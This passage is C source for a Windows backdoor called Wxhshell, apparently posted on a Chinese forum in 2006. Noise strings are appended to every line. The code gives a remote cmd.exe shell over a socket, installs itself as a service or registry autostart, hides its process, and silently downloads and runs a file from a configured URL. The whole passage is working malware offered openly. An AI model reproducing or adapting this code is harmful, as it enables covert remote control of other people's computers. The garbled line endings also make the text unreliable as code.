    if(Boot(SHUTDOWN)) u}R|q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z9% u,Cb  
    else { 13 JG[,w  
    closesocket(wsh); leizjL\P  
    ExitThread(0); xk8NX-:  
    } ;*Y+.?>a  
    break; g_tEUaiK  
    } g.:ZMV  
  // 获取shell $E:z*~ ?  
  case 's': { A9DFZZ0  
    CmdShell(wsh); "AMwo(Yi  
    closesocket(wsh); wp~KrUlR  
    ExitThread(0); [!KsAsmk  
    break; 066\zAPdH  
  } )Rk(gd  
  // 退出 {~EsO1p  
  case 'x': { "GqasbX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eK3d_bF+  
    CloseIt(wsh); u,YmCEd_V  
    break; OaN"6Ge#  
    } 4_CXs.v1  
  // 离开 e *D,2>o  
  case 'q': { 3dtL[aVwY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0H'G./8  
    closesocket(wsh); hG9Mp!d91  
    WSACleanup(); 6(A"5B=\  
    exit(1); efbJ2C  
    break; K"Irg.  
        } sFgsEKs  
  } [*ug:PG  
  } h2+"e# _  
BH$hd|KD<  
  // 提示信息 6TQ[2%X'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cft@s Y  
} gd]k3XN$f  
  } FA%BzU5^  
te>Op 1R  
  return; UD2 l!)rW  
} 01%0u8U  
g</Mk^CE  
// shell模块句柄 (I1^nrDP.  
int CmdShell(SOCKET sock) ?*QL;[n1  
{ weOga\  
STARTUPINFO si;  `7V'A  
ZeroMemory(&si,sizeof(si)); RS{E|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vcOw`oS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?IiFFfs  
PROCESS_INFORMATION ProcessInfo; )b|xzj@  
char cmdline[]="cmd"; urD{'FQf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sg<c1  
  return 0; Hv =7+O$  
} BDi+ *8  
ch/DBu  
// 自身启动模式 j'SGZnsy*  
int StartFromService(void) # *7ImEN  
{ wr6(C:  
typedef struct gp^xl>E  
{ llpgi,-=  
  DWORD ExitStatus; OK:YnSk"  
  DWORD PebBaseAddress; 6s:  
  DWORD AffinityMask; ;Z&w"oSJ  
  DWORD BasePriority; =A/$[POr  
  ULONG UniqueProcessId; "!o|^nN,  
  ULONG InheritedFromUniqueProcessId; mGUG  
}   PROCESS_BASIC_INFORMATION;  1W>0  
uX&Tn1Kg  
PROCNTQSIP NtQueryInformationProcess; A^7}:[s20  
`{nzw$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QLH6Nmk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [ldx_+xa:E  
^F+7@*u  
  HANDLE             hProcess; <TEDs4 C  
  PROCESS_BASIC_INFORMATION pbi; idZ]d6  
g+ cH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1F[W~@jW  
  if(NULL == hInst ) return 0; !4+@b s  
aN"dk-eK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a +`;:tX,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z+S1e~~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }vX/55  
7pZd?-6M^  
  if (!NtQueryInformationProcess) return 0; g;</|Z  
[mG:PTK3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RV6|sN[x>  
  if(!hProcess) return 0; @Yzb6@g"  
!4fT<V (  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !MD uj  
c8qwsp  
  CloseHandle(hProcess); 0/b3]{skK  
Qr*7bE(a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x@,B))WlGr  
if(hProcess==NULL) return 0; 0"xD>ue&  
`&o>7a;  
HMODULE hMod; T2MXwd&l  
char procName[255]; Xwk_QFv3  
unsigned long cbNeeded; )ZDqj  
&v&e- |r8;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d?1[xv;  
N/eFwv.Er  
  CloseHandle(hProcess); C3e0d~C  
|Ht~o(]&&/  
if(strstr(procName,"services")) return 1; // 以服务启动 "P8cgj C  
`EzC'e  
  return 0; // 注册表启动 5,K*IH  
} (&-!l2  
d<afO?"  
// 主模块 CJ[^Fi?CH  
int StartWxhshell(LPSTR lpCmdLine) 0z=^_Fb  
{ !1Z rS  
  SOCKET wsl; tJZ3P@ L  
BOOL val=TRUE; ~mu)Cw  
  int port=0; {&s.*5  
  struct sockaddr_in door; =&v&qn e9  
dp#'~[j  
  if(wscfg.ws_autoins) Install(); $Rv (v%  
Id 40yER  
port=atoi(lpCmdLine); ? EXYLG  
9|1J pb  
if(port<=0) port=wscfg.ws_port; C(lGW,!  
s N|7   
  WSADATA data; nM6/c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n~G-X  
" )/febBS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]R8JBnA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @}iY(-V  
  door.sin_family = AF_INET; Dro2R_j{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  wA7^   
  door.sin_port = htons(port); u(Y?2R  
.]H1uoci|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )NL_))\  
closesocket(wsl); Vo:Gp  
return 1; 8:)itYE  
} =s$UU15  
)-_To&S*  
  if(listen(wsl,2) == INVALID_SOCKET) { 23~KzC  
closesocket(wsl); 9a lMC  
return 1; -/ h'uG  
} J}37 9  
  Wxhshell(wsl); eIY![..J/N  
  WSACleanup(); K"U[OZC`  
fPu,@ L  
return 0; ,CA3Q.y>|  
_vgFcE~E@  
} j9]H~:g$d  
z;d]=PT  
// 以NT服务方式启动 QvjOOc@k~n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z9 )I@P"  
{ etkKVr;Kv  
DWORD   status = 0; b Q6<R4  
  DWORD   specificError = 0xfffffff; t (>}  
n%1I}?$fO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _k2*2db   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?ta(`+"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oD>j2 6Q  
  serviceStatus.dwWin32ExitCode     = 0; {X'D07q  
  serviceStatus.dwServiceSpecificExitCode = 0; Y] "_}  
  serviceStatus.dwCheckPoint       = 0; ;&v~tD7  
  serviceStatus.dwWaitHint       = 0; :M'V**A(  
"o.g}Pv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (#`1[n+b`x  
  if (hServiceStatusHandle==0) return; 2 N$yn  
qS{E+)P  
status = GetLastError(); 6I`Lszs  
  if (status!=NO_ERROR) DsZBhjCB  
{ FG[YH5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b ?-VZA:  
    serviceStatus.dwCheckPoint       = 0; nNJMQb'K  
    serviceStatus.dwWaitHint       = 0; [TFd|ywn  
    serviceStatus.dwWin32ExitCode     = status; cXY;Tw45  
    serviceStatus.dwServiceSpecificExitCode = specificError; quEP"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d5O_~x f&  
    return; <B %s9Zy  
  } 1<ic 5kB  
~$\9T.tre2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]gHi5]\NC  
  serviceStatus.dwCheckPoint       = 0; 50l! f7  
  serviceStatus.dwWaitHint       = 0; +>uiI4g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [)E.T,fjMQ  
} ] s))O6^f  
~ & @UH  
// 处理NT服务事件,比如:启动、停止 2a 3RRP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0~:Eo89  
{ X/l{E4Ex  
switch(fdwControl) r%^l~PN  
{ SL O~   
case SERVICE_CONTROL_STOP: ~dFdO7  
  serviceStatus.dwWin32ExitCode = 0; [_pw|BGp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZgP~VB0)$  
  serviceStatus.dwCheckPoint   = 0; 'q_^28rK  
  serviceStatus.dwWaitHint     = 0; S);SfNh%CL  
  { (v'#~)R_`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RrG5`2  
  } (WISf}[l;  
  return; #S*`7MvM  
case SERVICE_CONTROL_PAUSE: ~5Cid)Q}@o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `3CdW  
  break; bz1+AJG  
case SERVICE_CONTROL_CONTINUE: V4.&"0\n#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (5Z*m<]c  
  break; ls9 28  
case SERVICE_CONTROL_INTERROGATE: = @EN]u  
  break; ^z%ShmM&LZ  
}; z{N~AaY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A./ VO  
} ?E*;fDEC  
MN.h,^b  
// 标准应用程序主函数 iW # |N^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '[z529HN  
{ 1_of;=9V  
|K(2_Wp  
// 获取操作系统版本 5(+PI KCjC  
OsIsNt=GetOsVer(); L^{1dVGWNa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5!b+^UR;z  
+'ZJ]  
  // 从命令行安装 j^V r!y  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0eP ]  
U $2"ZyFii  
  // 下载执行文件 `Nnaw+<]  
if(wscfg.ws_downexe) { ]+ KN9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Pm!#)-g9  
  WinExec(wscfg.ws_filenam,SW_HIDE); &&daQg4Ha  
} Y_gMoo  
L/Ytkag  
if(!OsIsNt) { I0qS x{K  
// 如果时win9x,隐藏进程并且设置为注册表启动 (qbL=R"  
HideProc(); 2&,jO+BqE@  
StartWxhshell(lpCmdLine); _&wrA3@/L  
} :]rb}1nLB  
else l+vD`aJ3  
  if(StartFromService()) ){I0  
  // 以服务方式启动 !2o1c  
  StartServiceCtrlDispatcher(DispatchTable); -91*VBrOd  
else IW{}l=D/  
  // 普通方式启动 y v58~w*"  
  StartWxhshell(lpCmdLine); IrMUw$  
(2J\o  
return 0; F4*ssx  
}
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只看该作者 1 发表于: 2006-08-21
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